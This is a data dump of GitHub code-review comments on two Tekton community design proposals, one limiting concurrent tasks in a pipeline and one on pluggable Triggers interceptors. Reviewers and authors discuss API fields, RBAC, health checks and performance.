"2020-10-25T22:34:48Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n### User Stories\r\n```", "comment_id": 511658129, "created_at": "2020-10-25T22:35:02Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\nUser wants to limit amount of resources used by a Pipeline at a given time.\r\n```", "comment_id": 511658406, "created_at": "2020-10-25T22:37:38Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\nUser has a Pipeline with 100 independent Tasks but they don't want all 100 tasks to run at once.\r\n```", "comment_id": 511658433, "created_at": "2020-10-25T22:37:54Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "\r\nMoved the alternatives from the proposal section above and added reason not to go with option 1...please add the reasons why not to go with the other options, maybe the your comment in the drawbacks section could help:\r\nhttps://github.com/tektoncd/community/blob/1ee82ef1e540caf35e60a279ad1ece9657c0fa25/teps/0013-limit-pipeline-conecurrency.md#L244", "comment_id": 511658530, "created_at": "2020-10-25T22:38:58Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n## Upgrade & Migration Strategy\r\n```", "comment_id": 511658589, "created_at": "2020-10-25T22:39:24Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n## References\r\n```", "comment_id": 511658613, "created_at": "2020-10-25T22:39:36Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "ibotty", "body": "\"Improve\"", "comment_id": 511901020, "created_at": "2020-10-26T11:47:38Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "ibotty", "body": "```\r\nUtilizing a [pod quota per namespace]\r\n```", "comment_id": 511901684, "created_at": "2020-10-26T11:48:58Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "ibotty", "body": "`Limit`", "comment_id": 511901916, "created_at": "2020-10-26T11:49:19Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "NikeNano", "body": "Yes, that is true. ~~I think we should remove this instead actually.~~ I will remove it. ", "comment_id": 515672000, "created_at": "2020-11-01T21:06:13Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "NikeNano", "body": "Great suggestion!", "comment_id": 515672683, "created_at": "2020-11-01T21:12:26Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "NikeNano", "body": "Great thanks. ", "comment_id": 515673186, "created_at": "2020-11-01T21:17:51Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "NikeNano", "body": "Thanks, I missunderstood it slightly since I thought about the drawbacks for the different alternatives. ", "comment_id": 515673360, "created_at": "2020-11-01T21:19:39Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "NikeNano", "body": "> * what is the default behavior when the `MaxParallelTasks` is not specified? i suppose we'd want to do what we have now where any number of TaskRuns would be scheduled -- we need to add this info\r\n\r\nI think we should not set any limit if not specified. \r\n\r\n> * what happens if the user sets MaxParallelTasks as zero? do we require MaxParallelTasks to be greater than zero and throw validation error if it is not?\r\n\r\nI think your suggestions sounds good, I don't think we should allow values less than 1 since it don't make sense for the user story we try to solve. \r\n\r\n", "comment_id": 515772421, "created_at": "2020-11-02T07:05:25Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": null, "body": "Might be worth wrapping this in backticks to make it into a code block.", "comment_id": 533633879, "created_at": "2020-12-01T18:34:03Z", "line": 220, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": null, "body": "It would be great to get more specific here. Reading https://github.com/tektoncd/pipeline/issues/2591 it doesn't sound like this feature is supposed to solve resource or cost problems in the cluster - I think ResourceQuotas would be the right tool for that? I think this is supposed to solve the problem of flooding a service that the Pipeline relies on. In https://github.com/tektoncd/pipeline/issues/2591#issuecomment-626287799 it's a Database server that is hit with 100 parallel reloads.\r\n\r\nMaybe something more along the lines of:\r\n\r\n> Allow a user to limit the number of time-consuming or heavy operations being sent to a service at once in order to avoid accidentally causing a denial-of-service on it.", "comment_id": 533641987, "created_at": "2020-12-01T18:47:05Z", "line": 106, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": null, "body": "Why not? It would be great to get a more concrete example, like the database server example from issue https://github.com/tektoncd/pipeline/issues/2591", "comment_id": 533643231, "created_at": "2020-12-01T18:49:13Z", "line": 161, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": null, "body": "This would be solved by a ResourceQuota.", "comment_id": 533643387, "created_at": "2020-12-01T18:49:26Z", "line": 163, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": null, "body": "Hm. Up until here the document describes limiting concurrent Tasks per-Pipeline. Are we intending to limit per Pipeline or per PipelineRun?", "comment_id": 533648019, "created_at": "2020-12-01T18:56:52Z", "line": 218, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": null, "body": "Hm, are we limiting concurrent TaskRuns per Pipeline or per PipelineRun? I can imagine both features being desirable for different scenarios but I'm curious which one we're specifically aiming for here.", "comment_id": 533651554, "created_at": "2020-12-01T19:02:19Z", "line": 119, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": null, "body": "Could you go into a bit more detail on how the deadlock could happen in the first place? That sounds like a possible Risk/Mitigation we need to be aware of.", "comment_id": 533655103, "created_at": "2020-12-01T19:08:34Z", "line": 232, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": null, "body": "What happens if `MaxParallelTasks` is specified but there's no `Limit Service` running in the cluster? Is there a default `Limit Service` that Tekton Pipelines comes with? Or are we asking all users to implement their own?", "comment_id": 533655442, "created_at": "2020-12-01T19:09:10Z", "line": 230, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": null, "body": "How would the proposed Limit Service work in multi-tenant scenarios? Would there be one Limit Service per tenant? If not are you expecting the Limit Service to have global read and write access to all TaskRuns?\r\n\r\nIt might be worth documenting a bit about how RBAC requirements might be affected with this feature.", "comment_id": 533658834, "created_at": "2020-12-01T19:15:15Z", "line": 228, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": "NikeNano", "body": "Good suggestion, will update. ", "comment_id": 546857223, "created_at": "2020-12-21T18:17:56Z", "line": 106, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": "NikeNano", "body": "Not sure I agree on the need of being more specific. ", "comment_id": 546858000, "created_at": "2020-12-21T18:19:46Z", "line": 161, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": "NikeNano", "body": "Good point, I guess PipelineRun would allow for a larger flexibility. What do you think would be best @sbwsg ?\r\n", "comment_id": 546858440, "created_at": "2020-12-21T18:20:45Z", "line": 218, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": "NikeNano", "body": "see comment above. ", "comment_id": 546858568, "created_at": "2020-12-21T18:20:59Z", "line": 119, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": "NikeNano", "body": "The goal is to have one by default, but allow users to implement there own. ", "comment_id": 546858973, "created_at": "2020-12-21T18:21:54Z", "line": 230, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": "NikeNano", "body": "hmm good point, I dont know. Maybe you have some better thought on this @bobcatfish ?", "comment_id": 546859487, "created_at": "2020-12-21T18:23:06Z", "line": 228, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": null, "body": "If someone's trying to limit the number of concurrent uses of an external resource like a DB then Pipeline-level maximum makes sense (or even Task-level tbh). If it's PipelineRun-level then a user can just spawn more PipelineRuns and ultimately overwhelm the external thing anyway I think, right? What info does the LimitService have access to in order to decide what can / cannot run? Does it even make sense to include a configurable `MaxParallelTasks` as part of Tekton's CRDs? Why not make this part of the LimitService's configuration?\r\n\r\nSo I think this depends on the use-cases we're trying to solve. If we're going to pursue this we really have to nail these down and clearly decide what we're trying to achieve.", "comment_id": 553434574, "created_at": "2021-01-07T16:23:51Z", "line": 218, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": "afrittoli", "body": "I agree with @sbwsg that it would be good to see some concrete use case to better understand if this is the right approach to solve the problem. \r\n\r\nIf a pipeline or task requires a specific service, which we do not want to overload, limiting the number of concurrent tasks in a pipeline would not allow to control that. If the problem is about resource consumption on the cluster, again that might not provide a solution since:\r\n- we allow for execution of custom tasks, and we do not have control on the amount of resource used by a custom task (could be zero pods, or 10 pods)\r\n- the runtime model might change, today a task == a pod, a pipeline == N pods, but we are investigating alternative runtime approaches\r\n", "comment_id": 567862714, "created_at": "2021-02-01T14:24:49Z", "line": 136, "path": "teps/0013-limit-pipeline-concurrency.md", "pr_number": 228, "repo": "community"} +{"author": null, "body": "I might have missed this in prior sections but what motivates this Requirement (specifically the \"Secrets\" bit)?", "comment_id": 503475799, "created_at": "2020-10-12T18:52:45Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": null, "body": "Nevermind, I think I got it from the Notes / Constraints / Caveats section below. This is about allowing an Interceptor to use secrets for e.g. github payload validation.", "comment_id": 503478136, "created_at": "2020-10-12T18:58:07Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "sounds like this requirement might get dropped post beta tho?", "comment_id": 504213398, "created_at": "2020-10-13T19:46:56Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "> This can cause scaling concerns if one Trigger/Listener takes away too much from others.\r\n\r\nis it possible to elaborate on this a bit more? i dont quite understand what the trigger/listener would be taking away. (is this talking about a case where one listener is getting more requests than others?)", "comment_id": 504215161, "created_at": "2020-10-13T19:50:15Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "could you explain a bit more about what 'diverges' means here and what it implies for users? (maybe just link to the section on the HTTP interface if that's what this is referring to)", "comment_id": 504215602, "created_at": "2020-10-13T19:51:01Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "> A security conscious admin might want to use resourceNames to lock down the list of secrets the deployment has access to.\r\n\r\nis there something we could link to that explains more about what resourceNames are?", "comment_id": 504215907, "created_at": "2020-10-13T19:51:36Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "what kind of values will this status code have? im surprised we have both Continue and this status code, e.g. certain status codes could mean don't continue, such as non-0 means there was an error\r\n\r\neither way could we flesh out this part a bit with some more details on what the purpose of each of these new fields is and what values it can have?", "comment_id": 504218960, "created_at": "2020-10-13T19:57:02Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "what does it look like to install one of the \"build in\" interceptors? does the user just apply the CRD or do they install the CRD + something else (e.g. deployment)?", "comment_id": 504219469, "created_at": "2020-10-13T19:57:52Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "does the Triggers controller continue to monitor this over time?", "comment_id": 504219711, "created_at": "2020-10-13T19:58:20Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "i'm a bit confused by the bullets above, does each stand on its own or should some be indented? (some seem like subpoints)", "comment_id": 504220249, "created_at": "2020-10-13T19:59:19Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "is there another alternative that does the same thing but without introducing a new CRD? I'd like to dive a bit into the motivations for adding the new CRD", "comment_id": 504220533, "created_at": "2020-10-13T19:59:53Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "can you explain a bit more about what the webhook type is?", "comment_id": 504220751, "created_at": "2020-10-13T20:00:16Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "afrittoli", "body": "NIT built-in", "comment_id": 504676229, "created_at": "2020-10-14T13:28:02Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "afrittoli", "body": "I'm a bit concerned about this approach.\r\n\r\nI like the idea of the common interface, however with this approach the number of HTTP roundtrips scales linearly with the number of interceptors. Since it would be nice to have the interceptor re-usable, small and focused on specific tasks, it means that it's likely we'll end up running many interceptors. \r\n\r\n```\r\n+---------------------+ +-----------+ +---------+ +-----------+ +-----------+ +-----------+\r\n| triggersController | | githubInt | | celInt | | cust1Int | | cust2Int | | cust3Int |\r\n+---------------------+ +-----------+ +---------+ +-----------+ +-----------+ +-----------+\r\n | | | | | |\r\n | payload, params | | | | |\r\n |---------------------->| | | | |\r\n | | | | | |\r\n | reply | | | | |\r\n |<----------------------| | | | |\r\n | | | | | |\r\n | payload, params | | | | |\r\n |----------------------------------->| | | |\r\n | | | | | |\r\n | | reply | | | |\r\n |<-----------------------------------| | | |\r\n | | | | | |\r\n | payload, params | | | | |\r\n |------------------------------------------------>| | |\r\n | | | | | |\r\n | | | reply | | |\r\n |<------------------------------------------------| | |\r\n | | | | | |\r\n | payload, params | | | | |\r\n |-------------------------------------------------------------->| |\r\n | | | | | |\r\n | | | | reply | |\r\n |<--------------------------------------------------------------| |\r\n | | | | | |\r\n | payload, params | | | | |\r\n |---------------------------------------------------------------------------->|\r\n | | | | | |\r\n | | | | | reply |\r\n |<----------------------------------------------------------------------------|\r\n | | | | | |\r\n```\r\n\r\nI think it would be nice to have a model where we chain all the interceptors. \r\nWe would have a single service that can use all interceptors, which would receive the trigger specific chain and params from the controller:\r\n\r\n```\r\n+---------------------+ +-------------+ \r\n| triggersController | | intService | \r\n+---------------------+ +-------------+ \r\n | | \r\n | payload, chain, [params] | \r\n |-------------------------------->| \r\n | | \r\n | | GitHub int \r\n | |----------- \r\n | | | \r\n | |<---------- \r\n | | \r\n | | CEL int \r\n | |-------- \r\n | | | \r\n | |<------- \r\n | | \r\n | | cust1 int \r\n | |---------- \r\n | | | \r\n | |<--------- \r\n | | \r\n | | cust2 int \r\n | |---------- \r\n | | | \r\n | |<--------- \r\n | | \r\n | | cust3 int \r\n | |---------- \r\n | | | \r\n | |<--------- \r\n | | \r\n | reply, details | \r\n |<--------------------------------| \r\n | | \r\n```\r\n\r\nWhat do you think?", "comment_id": 504698565, "created_at": "2020-10-14T13:56:08Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "afrittoli", "body": "The downside of bundling interceptors together would be off course that they would need to run on the same service account. An option might be to allow the configuration of different bundles each with a specific service account.", "comment_id": 504701960, "created_at": "2020-10-14T14:00:29Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "yes, this is something to discuss. I think given that we are alpha. we should be able to drop the current interface once we reach beta but open to different opinions.", "comment_id": 505690071, "created_at": "2020-10-15T16:45:38Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "done", "comment_id": 505768694, "created_at": "2020-10-15T18:53:00Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "yeah, exactly!", "comment_id": 505768871, "created_at": "2020-10-15T18:53:19Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "yeah, and that poor wording on my part. With one interceptor serving multiple EventListeners, it is possible that one EL that has many incoming events (or has many triggers with many interceptors) starts making too many requests to the interceptor. This could result in Listeners being bottle-necked on the interceptor processing and then failing to process their triggers (or building up a large queue of triggers/events to process).", "comment_id": 506639132, "created_at": "2020-10-16T18:00:47Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "updated wording in the TEP.", "comment_id": 506679684, "created_at": "2020-10-16T19:27:19Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "done.", "comment_id": 506680161, "created_at": "2020-10-16T19:28:25Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "yeah resourceNames are a field in Role resource spec that allows you to restrict access to only certain named resources: https://kubernetes.io/docs/reference/access-authn-authz/rbac/#referring-to-resources\r\n\r\nAdded a link\r\n\r\n(It does look like this might be less useful than I thought tho: https://github.com/kubernetes/kubernetes/issues/56582#issuecomment-411061150)", "comment_id": 506684768, "created_at": "2020-10-16T19:39:05Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "Both the CRD and the deployment YAML will be bundled in the config/ directory like we have today. So, a user still just can `kubectl apply -f` the release yaml. ", "comment_id": 506687944, "created_at": "2020-10-16T19:46:14Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "Yeah I've been thinking and I'm not sure if having the Ready status field (and then continuously checking if the condition is valid) makes sense. The EL can attempt the call and fail if the interceptor is not available (and maybe retry?) ", "comment_id": 506688858, "created_at": "2020-10-16T19:48:20Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "done.", "comment_id": 506689213, "created_at": "2020-10-16T19:49:08Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "This was slightly out of date. New version has 3 fields -- Extensions (for adding new data), Continue (to indicate continue/fail) and Status which follows the error status guidance from https://google.aip.dev/193\r\n\r\nWe can get rid of the Continue field and only use Status. In that case, an \"OK but don't continue\" might be a [FAILED_PRECONDITION](https://github.com/googleapis/api-common-protos/blob/master/google/rpc/code.proto#L128) status\r\n", "comment_id": 506694721, "created_at": "2020-10-16T20:01:48Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "yeah indeed, the indenting is off :(", "comment_id": 506695167, "created_at": "2020-10-16T20:02:55Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "made them heading instead of a list.", "comment_id": 506700935, "created_at": "2020-10-16T20:16:50Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "the current webhook interface. I changed this section to make this clearer.", "comment_id": 506715646, "created_at": "2020-10-16T20:52:07Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "added one.", "comment_id": 506715681, "created_at": "2020-10-16T20:52:12Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "> I like the idea of the common interface, however with this approach the number of HTTP roundtrips scales linearly with the number of interceptors. Since it would be nice to have the interceptor re-usable, small and focused on specific tasks,\r\n\r\nYou are right, this does introduce a performance concern. The chain approach is interesting but would get a bit complex to implement with user provided interceptors (i.e. how are they in the same service as the built-in ones?). Couple other things to note here:\r\n\r\n1. The current model will still have some of these concerns (i.e only gitHubInt/celInt are built into the EL pod, the other 3 are still HTTP calls in a sequence).\r\n\r\n1. @khrm 's proposal on path based event listenrs (TEP-008) might help here -- it will ensure we can setup a webhook to only hit one particular trigger (as opposed to all triggers in a listener)\r\n\r\n1. As with any other performance issue, it will be useful to get some numbers first before coming up with a design in particular the overhead of making the call over HTTP and its impact on our SLO (I can try to get some while I work on the PoC). There are quite a few long hanging performance fixes in Triggers today that I think will be useful (e.g https://github.com/tektoncd/triggers/issues/797 and https://github.com/tektoncd/triggers/pull/594 come to mind). \r\n\r\nOther ideas: we could explore HTTP keep alives as well as caches on the interceptor service side. \r\n\r\n ", "comment_id": 506719299, "created_at": "2020-10-16T21:01:01Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "wlynch", "body": "Would it be worth breaking out (EventURL, EventID, TriggerID) into its own context subtype to have a separation of runtime data types? e.g.\r\n\r\n```go\r\ntype InterceptorRequest struct {\r\n\t// Body is the incoming HTTP event body\r\n\tBody []byte `json:\"body,omitempty\"`\r\n\t// Header are the headers for the incoming HTTP event\r\n\tHeader map[string][]string `json:\"header,omitempty\"`\r\n\r\n\t// InterceptorParams are the user specified params for the interceptor\r\n\tInterceptorParams map[string]string `json:\"interceptor_ params,omitempty\"`\r\n\r\n\tContext *TriggerContext\r\n}\r\n\r\ntype TriggerContext struct {\r\n\t// EventUrl is the URL of the incoming event\r\n\tEventUrl string `json:\"url,omitempty\"`\r\n\t// EventID is a unique ID assigned by Triggers to each event\r\n\tEventID string `json:\"event_id,omitempty\"`\r\n\t// TriggerID is of the form namespace/$ns/triggers/$name\r\n\tTriggerID string `json:\"trigger_id,omitempty\"`\r\n}\r\n```", "comment_id": 507858312, "created_at": "2020-10-19T15:45:29Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "wlynch", "body": "nit: fix indenting.", "comment_id": 507858483, "created_at": "2020-10-19T15:45:37Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "wlynch", "body": "Not sure if we want to do this (if not, feel free to put this into alternatives), but instead of having users craft the URL, should we have them use an object ref and enforce that they follow the Knative Callable interface?", "comment_id": 507876479, "created_at": "2020-10-19T16:09:24Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "wlynch", "body": "How will we test if the URL is reachable?", "comment_id": 507877184, "created_at": "2020-10-19T16:10:33Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "wlynch", "body": "This might help the health checking question below- we can defer to the underlying object status for readiness. ", "comment_id": 507877492, "created_at": "2020-10-19T16:11:00Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "wlynch", "body": "```suggestion\r\n # Format is interceptor name: address\r\n```", "comment_id": 507888911, "created_at": "2020-10-19T16:27:43Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "R2wenD2", "body": "You have \"Interceptor have two API surfaces:\" repeated here and on the next line. Remove one?", "comment_id": 508568051, "created_at": "2020-10-20T14:40:50Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "R2wenD2", "body": "\"whether processing should continue or as well as\" did you forget not in this sentence?", "comment_id": 508571466, "created_at": "2020-10-20T14:44:54Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "R2wenD2", "body": "indentation is off for Status", "comment_id": 508576784, "created_at": "2020-10-20T14:50:55Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "Hey, that's a good idea. It also provides a nice buffer for adding additional context fields e.g. yesterday I realized that it might be useful to pass in the Trigger namespace too -- this way the interceptor can pull in the secrets from the trigger's namespace (like we do today.)", "comment_id": 508581504, "created_at": "2020-10-20T14:56:19Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "One maybe interesting detail: the design as it is currently proposed would allow for an \"intService\" to be used if one preferred - and also we could build/provide one in future without needing to change the design", "comment_id": 508621585, "created_at": "2020-10-20T15:37:55Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "done.", "comment_id": 508851122, "created_at": "2020-10-20T21:28:46Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "ahh I see that your TriggerId already contains the trigger namespace :D", "comment_id": 508853100, "created_at": "2020-10-20T21:32:40Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "done.", "comment_id": 508857025, "created_at": "2020-10-20T21:40:41Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "done.", "comment_id": 508857072, "created_at": "2020-10-20T21:40:46Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": ":facepalm:", "comment_id": 508860388, "created_at": "2020-10-20T21:47:43Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "Ref: Knative Callable Interface: https://github.com/knative/eventing/blob/master/docs/spec/interfaces.md#callable\r\n\r\nYes, I think that supporting Callables makes sense. How about supporting both? Just regular URLs or objects that adhere to the Callable interface?", "comment_id": 508863226, "created_at": "2020-10-20T21:53:46Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "So, the more I think about the status.conditions.Ready, the more I feel like we should punt on it for v1 and then revisit later.\r\n\r\nMy current idea was to just send a \"health-check\" request and expect any non 500 response. It does get a bit complex since each EL will now need an informer for all Interceptors to check when the health check fails. In addition, the controller/reconciler will have to keep making these health check requests at regular intervals. If there is a minor blip, there is still a chance that the EL makes a call to the Interceptor while its down. In short, it feels like a lot to add for not a ton of benefit. What do you think?", "comment_id": 508866695, "created_at": "2020-10-20T22:01:04Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "gabemontero", "body": "small clarification on this discussion thread ... I believe the TEP from @khrm that @dibyom was referring to was TEP-0009 at https://github.com/tektoncd/community/blob/master/teps/0009-trigger-crd.md instead of TEP-0008 (which is the allowing of knative vs. vanilla k8s deployment types IIRC)", "comment_id": 511136842, "created_at": "2020-10-23T20:20:03Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "gabemontero", "body": "I'm not sure yet @dibyom and @khrm if they are orthogonal or not\r\n\r\nBut some thought into how the new `TriggerContext` type here and the new Trigger CRD in https://github.com/tektoncd/community/blob/master/teps/0009-trigger-crd.md#trigger-crd reconcile might be warranted.\r\n\r\nEven if in the end we assure everyone that they are orthogonal, some text around here explaining that would be helpful I think.\r\n\r\nConversely, if this `TriggerContext` needs to say be included in the new Trigger CRD spec (but at least for me though I need to think about that more to know if that would even be the case).\r\n\r\nPerhaps a discussion topic for the next WG call?", "comment_id": 511139251, "created_at": "2020-10-23T20:25:44Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "dibyom", "body": "sure. I think they are pretty orthogonal. The TriggerID field in the context contains the namespace and name of the Trigger CRD. The other contents of the Context are either generated (the EventID) or from the incoming Event (EventUrl)", "comment_id": 512169366, "created_at": "2020-10-26T18:11:21Z", "line": null, "path": "teps/00XX-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "hmm I'm wondering, if `type` is meant to correspond to `name` would it be a bit more clear to call this field `name`?\r\n\r\nI wonder if would even make sense to go as far as using the same syntax as we do in other places where we refer to instances of CRDs, e.g. like with tasks:\r\n\r\n```yaml\r\n tasks:\r\n - name: precheck\r\n taskRef:\r\n name: prerelease-checks\r\n```\r\n\r\nwe could have:\r\n\r\n```yaml\r\n interceptors:\r\n - name: not-sure-if-needed-maybe-optional\r\n interceptorRef:\r\n name: cel\r\n```", "comment_id": 512198395, "created_at": "2020-10-26T18:59:24Z", "line": 375, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "just highlighting this again: would it be fair to say that this might be true for some window of versions? e.g. if continuing to use the alpha api, but we could drop support for deprecated syntax in the future? (e.g. beta)", "comment_id": 512198456, "created_at": "2020-10-26T18:59:31Z", "line": null, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "If I use the \"NEW\" syntax above, that means that I've also installed and am running the new CEL interceptor separately, is that right?", "comment_id": 512198707, "created_at": "2020-10-26T18:59:55Z", "line": 151, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} +{"author": "bobcatfish", "body": "\ud83c\udf89", "comment_id": 512199058, "created_at": "2020-10-26T19:00:30Z", "line": 154, "path": "teps/0026-interceptor-plugins.md", "pr_number": 229, "repo": "community"} 